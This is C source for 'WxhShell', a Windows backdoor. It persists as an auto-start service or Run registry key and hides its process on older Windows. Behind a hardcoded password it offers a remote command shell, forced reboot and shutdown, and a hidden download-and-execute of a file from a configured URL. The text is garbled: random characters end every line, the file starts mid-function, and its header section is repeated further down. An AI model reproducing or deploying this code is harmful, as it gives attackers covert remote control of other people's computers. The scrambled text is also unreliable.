    if(Boot(SHUTDOWN)) jfx8EbQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g'u?Rn 7*J  
    else { <[J[idY1he  
    closesocket(wsh); -,aeM~  
    ExitThread(0); RQp|T5Er*  
    } B Ma)O  
    break; 7kK #\dI  
    } ~+bGN  
  // 获取shell u#A<hq;  
  case 's': { P"?FnTbv[  
    CmdShell(wsh); N2$I}q%  
    closesocket(wsh); c$`4*6  
    ExitThread(0); 7,MS '2nz  
    break; $GQ-(/  
  } KdUnD4d  
  // 退出 -:9P%jWt  
  case 'x': {  ^eGNgE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CWG6;NT6m  
    CloseIt(wsh); wHv]ViNvXE  
    break; |R@~-Ht  
    } ~h=X8-D  
  // 离开 ',4x$qe  
  case 'q': { ZBG}3Z   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G633Lm`ri  
    closesocket(wsh); x]{E)d"!  
    WSACleanup(); 9F- )r'  
    exit(1); 'snn~{hG  
    break; 5,;`$'?a%  
        } G"59cv8z4R  
  } KkMay  
  } CBKkBuKuk  
j9U%7u]-k  
  // 提示信息 qXW})(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J.+BD\pa  
} 8; R|  
  } tYqs~B3  
I.@hW>k  
  return; A[dvEb;r  
}  \^K&vW;  
ORWm C!  
// shell模块句柄 &G>(9  
int CmdShell(SOCKET sock) [;oCYb$9  
{  ,chf~-d  
STARTUPINFO si; dj&}Gedy  
ZeroMemory(&si,sizeof(si)); 0Hw-59MK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xf>z@)e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |nk3^;Yf  
PROCESS_INFORMATION ProcessInfo; l\!-2 T6Y  
char cmdline[]="cmd"; ]G}B 0u3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {8EW)4Hf  
  return 0; ~; OYtz  
} 25|8nfeC5  
s;YKeE!8  
// 自身启动模式 W"xP(7X  
int StartFromService(void) NO K/<_/  
{ HFQR ;9]  
typedef struct nCvPB/-  
{ ]43bere  
  DWORD ExitStatus; (5Tvsw`  
  DWORD PebBaseAddress; }^K/?dM  
  DWORD AffinityMask; }T0K^Oe+eS  
  DWORD BasePriority; p(m1O70 C  
  ULONG UniqueProcessId; qy!Ou3^  
  ULONG InheritedFromUniqueProcessId; &~f3psA  
}   PROCESS_BASIC_INFORMATION; FM5e+$>@  
F{\gc|!i  
PROCNTQSIP NtQueryInformationProcess; 9kY[j2,+  
8?Y['  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qc{RaMwD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w*w?S  
& Rz, J]  
  HANDLE             hProcess; Ei@M$Fd  
  PROCESS_BASIC_INFORMATION pbi; qkP/Nl. u  
i!dv0|_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;;gK@?hJ  
  if(NULL == hInst ) return 0; A~{f/%8D  
} i)$n(A)K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]yX@'f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VLg EX4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8C.!V =@\  
"] -],K  
  if (!NtQueryInformationProcess) return 0; 4DO/rtkVq  
9;r? nZT/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fRg=!<#%  
  if(!hProcess) return 0; qMS}t3X  
eE/%6g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'CS.p!Z\  
/k"hH\Pp  
  CloseHandle(hProcess); mKg@W;0ML  
GG'Sp53GE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dTD5(}+J  
if(hProcess==NULL) return 0; !Zwf 397  
LE c8NQs  
HMODULE hMod; .Tm- g#  
char procName[255]; '%3{jc-}  
unsigned long cbNeeded; 3BMS_,P  
/?zW<QUI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ! VRI_c  
6;uBZ &g  
  CloseHandle(hProcess); )hL^+Nn bR  
yCM{M  
if(strstr(procName,"services")) return 1; // 以服务启动 $M]%vG  
zw:/!MS  
  return 0; // 注册表启动 \kwe51MQ  
} +|nsu4t,<  
+X!+'>  
// 主模块 .9\Cy4_qSd  
int StartWxhshell(LPSTR lpCmdLine) Jc~E"x  
{ ;x>;jS.t  
  SOCKET wsl; ~! Lw1]&  
BOOL val=TRUE; .w FU:y4r  
  int port=0; z(d4)z 8'6  
  struct sockaddr_in door; lfMH1llx  
K M]Wl_z  
  if(wscfg.ws_autoins) Install(); {u]CHN`%Z  
TSyzdnMvz  
port=atoi(lpCmdLine); o#d$[oa  
8)Tj H'  
if(port<=0) port=wscfg.ws_port; WX*cICb5  
mvf _@2^  
  WSADATA data; hrlCKL&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O~Uw&Bq  
1XnBK$`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nJ# XVlHc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s}b*5@8|tA  
  door.sin_family = AF_INET; oBUh]sR{.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x9*ys;~w  
  door.sin_port = htons(port); $u,G Vq~  
r|8V @.@i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M-91 JOt~  
closesocket(wsl); 0P:F97"1,  
return 1; ty;o&w$  
} j];1"50?  
!`h~`-]O  
  if(listen(wsl,2) == INVALID_SOCKET) { V9$-twhu  
closesocket(wsl); xDe47&qKM  
return 1; $WD +Q@6  
} v=bv@c  
  Wxhshell(wsl); i0&) N,5_  
  WSACleanup(); 3z$\&& BR  
6Wu*.53  
return 0; e6es0D[>5  
'qlxAYw<f  
} `QAh5r"  
R^?PAHE 7  
// 以NT服务方式启动 C_89YFn+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,9$>d}N  
{ x_pMG!2  
DWORD   status = 0; 4}PeP^pj  
  DWORD   specificError = 0xfffffff; mc56L[  
DwC@"i.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vD"_X"v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8s&2gn1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qIUC2,&g  
  serviceStatus.dwWin32ExitCode     = 0; zh hGqz[K  
  serviceStatus.dwServiceSpecificExitCode = 0; zZw@c?  
  serviceStatus.dwCheckPoint       = 0; )uu wwz  
  serviceStatus.dwWaitHint       = 0; K-ju,4A  
"Vq@bNtu+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fLc!Sn.Y  
  if (hServiceStatusHandle==0) return; %!#rrt,F  
u<J2p?`\&`  
status = GetLastError(); U0ns3LirP  
  if (status!=NO_ERROR) GZ}*r{  
{ vJzxP y|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P|yGx)'^P  
    serviceStatus.dwCheckPoint       = 0; Z@8MhJ  
    serviceStatus.dwWaitHint       = 0; +,:nm_kQU  
    serviceStatus.dwWin32ExitCode     = status; W=!F8g|Qz  
    serviceStatus.dwServiceSpecificExitCode = specificError; W=(MsuirO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~m3V]v(q7  
    return; @ICejB<  
  } =k_XKxd  
`mWQWx$V!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WCWSLEAza  
  serviceStatus.dwCheckPoint       = 0; '&1  
  serviceStatus.dwWaitHint       = 0; u>j5`OXo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DPR;$yV  
} z;``g"dSw  
=ulr_i%Xs  
// 处理NT服务事件,比如:启动、停止 / N*HE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U=_~{[/  
{ &8o  :  
switch(fdwControl) |q9,,i}!  
{ b"*mi  
case SERVICE_CONTROL_STOP: I>(;bNgN E  
  serviceStatus.dwWin32ExitCode = 0; P<TpG0~(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V%VrAi.  
  serviceStatus.dwCheckPoint   = 0; 8-W"4)@b  
  serviceStatus.dwWaitHint     = 0; Q;d+]xj  
  { H ,01o5J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j P{:A9T\  
  } dY48S{  
  return; uVoF<={  
case SERVICE_CONTROL_PAUSE: wCTcGsw W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )<m=YI ;<  
  break; ~t1O]aO(  
case SERVICE_CONTROL_CONTINUE: {IF}d*:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V7Vbl?*n  
  break; zWP.1 aA&  
case SERVICE_CONTROL_INTERROGATE: 9 kTD}" %2  
  break; QfKR pnj(o  
}; ~pDRF(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m1M;'tT@  
} u-]vK  
g!~-^_F  
// 标准应用程序主函数 .eZPp~[lAN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d "QM;9  
{ 2D\x-!l/  
'Y~8_+J?  
// 获取操作系统版本 IF,i^,  
OsIsNt=GetOsVer(); S&gKgQD"Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wliGds  
#3 }5cC8_  
  // 从命令行安装 QE`:jxyad  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~5XL@jI^  
ui0J}DM  
  // 下载执行文件 z&6]vN'  
if(wscfg.ws_downexe) { n0>5'm%ES  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YL0WUD_>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1( QWt  
} E.En$'BvB  
Q 37V!  
if(!OsIsNt) { ySPlyhGF  
// 如果时win9x,隐藏进程并且设置为注册表启动 WOe{mwhhj  
HideProc(); 24.7S LXO  
StartWxhshell(lpCmdLine); <s59OdzP  
} bahc{ZC2  
else =0jmm(:Jh  
  if(StartFromService()) i`ZHjW~`  
  // 以服务方式启动 ?[NTw./'7A  
  StartServiceCtrlDispatcher(DispatchTable); wh7i G8jCz  
else P|!/mu]  
  // 普通方式启动 4jq`No_  
  StartWxhshell(lpCmdLine); 5Tcl<Y6l  
[TpA26#TTO  
return 0; tDuUAI54  
} CBz(hCaI  
f6dE\  
cN[ q)ts  
CguU+8 ]  
=========================================== x3p;H02i\  
=F!",a~  
:"y7Weh  
 ?fqkM  
*1 J#Mdd  
inq4CGY  
" 4P-'(4I)  
m,"cbJ /  
#include <stdio.h> nf+"vr}1  
#include <string.h> +Y>cBSO  
#include <windows.h> NXV~[  
#include <winsock2.h> yC&b-y  
#include <winsvc.h> US*<I2ZLh  
#include <urlmon.h> GFy0R"&d[  
T[8"u<O96  
#pragma comment (lib, "Ws2_32.lib") -h^} jP8  
#pragma comment (lib, "urlmon.lib") =4w^)'/  
CoKj'jA  
#define MAX_USER   100 // 最大客户端连接数 B[U.CAUn  
#define BUF_SOCK   200 // sock buffer ? A^3.`  
#define KEY_BUFF   255 // 输入 buffer :g]HB ,78  
}fa%JN %E  
#define REBOOT     0   // 重启 n79DS(t  
#define SHUTDOWN   1   // 关机 g)zn.]  
eA~_)-Z-  
#define DEF_PORT   5000 // 监听端口 eiNk]KXAYX  
h#6 jUQ  
#define REG_LEN     16   // 注册表键长度 NIXcib"tG  
#define SVC_LEN     80   // NT服务名长度 n<Xm%KH.  
]J"+VZ_"I  
// 从dll定义API *9U4^lJjn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xj@    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fSQ3 :o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b`={s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y&cjJ`rw  
R y*I~<m  
// wxhshell配置信息 uN? O*h/(  
struct WSCFG { :Jsz"vCg&s  
  int ws_port;         // 监听端口 VQW)qOR9  
  char ws_passstr[REG_LEN]; // 口令 \Kzt*C-ZH  
  int ws_autoins;       // 安装标记, 1=yes 0=no cO"Xg<#y  
  char ws_regname[REG_LEN]; // 注册表键名 >-./kI "  
  char ws_svcname[REG_LEN]; // 服务名 -T>wi J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `QyALcO   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J1v0 \  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Stp*JU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { P\8g8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >i#_)th"U!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '%|20 j  
\"sSS.'  
}; rc{[\1 -N  
l4BO@   
// default Wxhshell configuration 5fDtSsW  
struct WSCFG wscfg={DEF_PORT, 5l7L@Ey  
    "xuhuanlingzhe", LZAj4|~,m  
    1, vM>`CZ  
    "Wxhshell", ~D-OL* 2  
    "Wxhshell", /IQ-|Qkg  
            "WxhShell Service", `b'|FKc]  
    "Wrsky Windows CmdShell Service", F~0%j}ve  
    "Please Input Your Password: ", AB|VO4-?  
  1, VA&OI;=ri  
  "http://www.wrsky.com/wxhshell.exe", kBQenMm  
  "Wxhshell.exe" : 1f5;]%N  
    }; V/wc[p ~  
r7BH{>-  
// 消息定义模块 ?}>Z_ ("  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lO[jf6gB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :\= NH0M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QIz N# ;g  
char *msg_ws_ext="\n\rExit."; g(}8n bTA  
char *msg_ws_end="\n\rQuit."; ~[/c'3+4qn  
char *msg_ws_boot="\n\rReboot..."; =K< I)2   
char *msg_ws_poff="\n\rShutdown..."; !Pjg&19  
char *msg_ws_down="\n\rSave to "; -D^y)  
EvardUB)  
char *msg_ws_err="\n\rErr!"; ~b<4>"7y.  
char *msg_ws_ok="\n\rOK!"; X]^E:'E!  
,8-_=*  
char ExeFile[MAX_PATH]; $6x:aG*F  
int nUser = 0; p'c<v)ia  
HANDLE handles[MAX_USER]; qYiK bzy  
int OsIsNt; PC(iqL8r  
7(+ZfY~w"  
SERVICE_STATUS       serviceStatus; t=\[J+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b)`#^uxxJ  
8&[<pbN)  
// 函数声明 R{y{  
int Install(void); WuQ<AS=   
int Uninstall(void); #1hz=~YO  
int DownloadFile(char *sURL, SOCKET wsh); .AI'L|FQ%c  
int Boot(int flag); [^BUhm3a  
void HideProc(void); N~<}\0  
int GetOsVer(void); la{:RlW  
int Wxhshell(SOCKET wsl); oZcwbo8  
void TalkWithClient(void *cs); d`][1rZk  
int CmdShell(SOCKET sock); &Or=_5Y`  
int StartFromService(void);  G#n)|p  
int StartWxhshell(LPSTR lpCmdLine); 5z mHb  
c]v3dHE_h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Z$G=;3#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v2X0Px_  
F3|pS:  
// 数据结构和表定义 *RE-K36m|u  
SERVICE_TABLE_ENTRY DispatchTable[] = |[7$) $  
{ nZ+5@( *  
{wscfg.ws_svcname, NTServiceMain}, Zg f||,  
{NULL, NULL} bRe*(  
}; S aq>o.  
v?"ee&Y6  
// 自我安装 EKJ4_kkjM  
int Install(void) E/-Kd!|"  
{ W%ZU& YBc  
  char svExeFile[MAX_PATH]; l*MUDT@M8\  
  HKEY key; v?=VZ~`O(  
  strcpy(svExeFile,ExeFile); P\0%nyOG(%  
*H<g9<Dn  
// 如果是win9x系统,修改注册表设为自启动 bc}OmPE  
if(!OsIsNt) { SJ_cwYwI$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { naCI55Wx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z"C(#Y56 x  
  RegCloseKey(key); ij5=f0^4.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v7u}nx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]8nm9qmF<  
  RegCloseKey(key); ?(UXK hs  
  return 0; kAQZj3P]  
    } .-6s`C2 Y}  
  } ,$ret@.H  
} !PTbR4s  
else { (G!J==  
[!efQap  
// 如果是NT以上系统,安装为系统服务 -"fq34v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CKw)J}z  
if (schSCManager!=0) <Y'YpH`l  
{ w3UJw  
  SC_HANDLE schService = CreateService _ShJ3\,K  
  ( /4BXF4ksi,  
  schSCManager, s(LqhF[N2]  
  wscfg.ws_svcname, qinQ5t  
  wscfg.ws_svcdisp, r>@/XYK&\  
  SERVICE_ALL_ACCESS, T>o# *{q n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W/X;|m`  
  SERVICE_AUTO_START, U>jk`?zW  
  SERVICE_ERROR_NORMAL,  ,qqV11P]  
  svExeFile, [zd-=.:+M[  
  NULL, /s_$CSiB  
  NULL, Ybg`Z  
  NULL, = +\oL!^  
  NULL, BV:,b S  
  NULL YAG3PWmD  
  ); ADUI@#vk  
  if (schService!=0) ")buDU6_  
  { <4bo7XH  
  CloseServiceHandle(schService); .]l2)OlLQ  
  CloseServiceHandle(schSCManager); Ci:QIsu*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D4-U[l+K>  
  strcat(svExeFile,wscfg.ws_svcname); -iX!F~qS,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {   `.-C6!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5-po>1g'  
  RegCloseKey(key); y_r6T XnGL  
  return 0; X*) :N]  
    } }#^F'%zf  
  } {XW>:EU'N  
  CloseServiceHandle(schSCManager); )fr\ V."  
} dPX>A4wp  
} IvSrJe[;  
WF0>R^SpZ  
return 1; W5g!`f  
} +:Zi(SuS]  
e@VRdhb  
// 自我卸载 ^/,yZ:  
int Uninstall(void) mmK_xu~f28  
{ U<gw<[>f  
  HKEY key; Ro$XbU)  
)$g /PQ  
if(!OsIsNt) { }PuO$ L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :AGQkJb  
  RegDeleteValue(key,wscfg.ws_regname); Im#$iPIvT  
  RegCloseKey(key); 4 l(o{{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *r3vTgo$  
  RegDeleteValue(key,wscfg.ws_regname); y~ LVK8  
  RegCloseKey(key); y>PbYjuIU  
  return 0; go5!zSs  
  } J z b".A  
} >f/g:[  
} ,"ZlY}!Gn  
else { w!M ^p&T7  
4(IP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C"WZsF^3  
if (schSCManager!=0) (#`o >G(  
{ N`MQHQ1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [i_x 1  
  if (schService!=0) {`55nwd  
  { (7 iMIY  
  if(DeleteService(schService)!=0) { Xs_y!l  
  CloseServiceHandle(schService); &[pw LYf7  
  CloseServiceHandle(schSCManager); \)WjkhG<w#  
  return 0; 0<k!F3=  
  } X9wi:  
  CloseServiceHandle(schService); u6RHn;b  
  } H_]kR&F8  
  CloseServiceHandle(schSCManager); | w -W=v  
} H0 t1& :  
} OwUbm0)h^V  
B\yid@e  
return 1; Yd'ke,Je  
} ".IhV<R  
h08T Q=n  
// 从指定url下载文件 IuD<lMeJ J  
int DownloadFile(char *sURL, SOCKET wsh)  v<W++X7z  
{ k9]n/  
  HRESULT hr; /.bwwj_;  
char seps[]= "/"; J$[Vm%56  
char *token; Sa5y7   
char *file; s5e}X:  
char myURL[MAX_PATH]; i9tM]/SP  
char myFILE[MAX_PATH]; L zC~>Uj  
O*7 pg  
strcpy(myURL,sURL); f0+  
  token=strtok(myURL,seps); *fZ'#C~x  
  while(token!=NULL) g.Q ?Z{  
  { |1R @Jz`  
    file=token; > { Q2S  
  token=strtok(NULL,seps); 6yqp<D0SP)  
  } 'z/hj>B<  
XlPy(>  
GetCurrentDirectory(MAX_PATH,myFILE); \&0NH=*^  
strcat(myFILE, "\\"); >{Djx  
strcat(myFILE, file); >E3OYa?G  
  send(wsh,myFILE,strlen(myFILE),0); Sb.;$Be5g  
send(wsh,"...",3,0); VXp X#O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vv]mME@  
  if(hr==S_OK) wW~2]*n  
return 0; PoZBiw@  
else r>\.b{wI  
return 1; =9-c*bL  
NT'Yh  
} 3V]a "C   
|>)mYLN!y  
// 系统电源模块 gC.T5,tn  
int Boot(int flag) qI9 BAs1~}  
{ lKcnM3n  
  HANDLE hToken; 6*tGf`Pfdw  
  TOKEN_PRIVILEGES tkp; *RhdoD|a  
.E(Ucnz/  
  if(OsIsNt) { q=U=Y n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hE${eJQ| U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,O(uuq  
    tkp.PrivilegeCount = 1; &I8ZVtg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L`6`NYR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 90a= 39kI  
if(flag==REBOOT) { %"D-1&%zY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hdzaU&w  
  return 0; p6p_B   
} hI$an%Y(  
else { A]1](VQ)4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,b{4GU$3  
  return 0; udMq>s;  
} ~p&sd)  
  } uP.3(n[&  
  else { qmhHHFjQ  
if(flag==REBOOT) { Em;zi.Y+V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .3#Tw'% G  
  return 0; iM-@?!WF  
} /OEj]DNY  
else { >U z3F7nHi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P:G^@B3^  
  return 0; o/&Q^^Xj^~  
} G"]'`2.m  
} *=rl<?tX  
{8eNQ-4I  
return 1; _:J! |'  
} q4{ 6@q  
yd $y\pN=<  
// win9x进程隐藏模块 K\#+;\V  
void HideProc(void) h1xYQF_`Z  
{ N]3XDd|q  
d}1R<Q;F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HjrCX>v  
  if ( hKernel != NULL ) lq74Fz&(  
  { ^c*'O0y[D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s&4Y+dk93  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &}<IR\ci  
    FreeLibrary(hKernel); 5Jd,]~KAP  
  } yo5|~"yZY  
t2>Vj>U  
return; BO^e.iB/  
} C 7v 8  
: 7'anj  
// 获取操作系统版本 \O[Cae:^?  
int GetOsVer(void) n,`&f~tap  
{ ` 6PdMvF  
  OSVERSIONINFO winfo; w;XXjT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ffdyDUzQ  
  GetVersionEx(&winfo); z' @F@k6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~e|~c<!z8@  
  return 1; ."${.BPn~  
  else >354O6  
  return 0; =4G9ev 4  
} Hc71 .rqS  
krgsmDi7  
// 客户端句柄模块 _15r!RZ:1  
int Wxhshell(SOCKET wsl) :2La,  
{ I_Q'+d  
  SOCKET wsh; >Py=H+d!j  
  struct sockaddr_in client; UPH:$Fk&  
  DWORD myID; mAz':R[  
}2}hH0R  
  while(nUser<MAX_USER) "[76>\'H  
{ >k"/:g^t  
  int nSize=sizeof(client); Zx@{nVoYe~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EI'(  
  if(wsh==INVALID_SOCKET) return 1; N/(&&\3  
OX!9T.j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QM OOJA  
if(handles[nUser]==0) p tMysYT'  
  closesocket(wsh); tR1 kn&w  
else ~Os~pTo  
  nUser++; ip~PF5  
  } ^b'[ 81%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A>Js`s  
C]82Mt  
  return 0; Jjv, )@yo  
} 9M<{@<]dm  
t68h$u  
// 关闭 socket aB.`'d)V  
void CloseIt(SOCKET wsh) BDpeAF8z  
{ ]*?qaIdqu  
closesocket(wsh); |:C=j/f   
nUser--; !ce:S!P  
ExitThread(0); VUk2pEGO.  
} VB\oK\F5z  
D{~I  
// 客户端请求句柄 '~2;WF0h  
void TalkWithClient(void *cs) k? X7h2  
{ zgV{S Qo  
U\P ;,o  
  SOCKET wsh=(SOCKET)cs; A~u-Iv(U  
  char pwd[SVC_LEN]; iphe0QE[#}  
  char cmd[KEY_BUFF]; L]cZPfI6  
char chr[1]; a8''t_Dp  
int i,j; vk&C'&uV9@  
IZ "d s=w  
  while (nUser < MAX_USER) { jU/0a=h9  
%R(1^lFI$  
if(wscfg.ws_passstr) { !>TH#sU$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1t6VS 3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lUbQ@7a<'  
  //ZeroMemory(pwd,KEY_BUFF); d?S7E q9`  
      i=0; v<$a .I(  
  while(i<SVC_LEN) { v [\' M  
CNQ>J`4  
  // 设置超时 1jO}{U  
  fd_set FdRead; @#xh)"}  
  struct timeval TimeOut;  1)U%p  
  FD_ZERO(&FdRead); *%bQp  
  FD_SET(wsh,&FdRead); A70x+mjy^T  
  TimeOut.tv_sec=8; =y.?=`"  
  TimeOut.tv_usec=0; %i:Sf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rjHL06qE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r&U5w^p  
F6`$5%$M;?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8K=sx @l  
  pwd=chr[0]; 1--_E,Su>  
  if(chr[0]==0xd || chr[0]==0xa) { x8+W9i0[1  
  pwd=0; v@(Y:\>  
  break; ,onOwPz  
  } fL>>hBCqC  
  i++; BxVo>r  
    } 0rP`BK|  
bS[;d5  
  // 如果是非法用户,关闭 socket p'tB4V qT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 ELKL#(  
} Zl^#U c"  
bxLeQWr6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )2~Iqzc4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ev+m+  
!Nua  
while(1) { KeFEUHU  
. Lbu[  
  ZeroMemory(cmd,KEY_BUFF); JI##l:,7r  
dz3chy,3  
      // 自动支持客户端 telnet标准   XpFW(v  
  j=0; ;n0VF77>O  
  while(j<KEY_BUFF) { h2<Y*j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JL.noV3q$  
  cmd[j]=chr[0]; =wE1j  
  if(chr[0]==0xa || chr[0]==0xd) { '[V}]Z>-  
  cmd[j]=0; x=s=~cu4,  
  break; 5F&xU$$a-  
  } 8$4@U;Vh;  
  j++; Y=94<e[f"  
    } no ).70K  
M@%$9N)gd  
  // 下载文件 KElzYZl8  
  if(strstr(cmd,"http://")) { 99)md   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3z5w}qN] M  
  if(DownloadFile(cmd,wsh)) W(.q. Sx>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >..C^8 "  
  else m$6u K0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F6,[!.wl  
  } a8$gXX-2  
  else { b9FfDDOq"  
fdk]i/*)  
